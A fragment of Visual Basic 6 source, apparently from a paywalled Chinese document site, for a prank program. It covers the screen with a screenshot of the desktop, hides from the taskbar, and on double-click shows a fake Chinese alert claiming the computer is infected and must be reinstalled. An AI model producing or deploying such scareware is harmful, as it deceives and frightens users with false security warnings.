Option Explicit
Dim screenhwnd, screendc
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Long, ByVal hdc As Long) As Long
Private Sub Form_DblClick()
MsgBox "电脑中了病毒,已被控制!请重装系统!", vbCritical, "严重安全警告!"
Unload Me
Form2.Show
End Sub
Private Sub Form_Load()
Me.Width = Screen.Width
Me.Height = Screen.Height
Me.Left = 0
Me.Top = 0
Me.ZOrder 0
App.TaskVisible = False
screenhwnd = GetDesktopWindow()
screendc = GetDC(screenhwnd)
BitBlt Me.hdc, 0, 0, Me.Width, Me.Height, screendc, 0, 0, &HCC0020
ReleaseDC screenhwnd, screendc
本内容试读结束,登录后可阅读更多
下载后可阅读完整内容,剩余2页未读,立即下载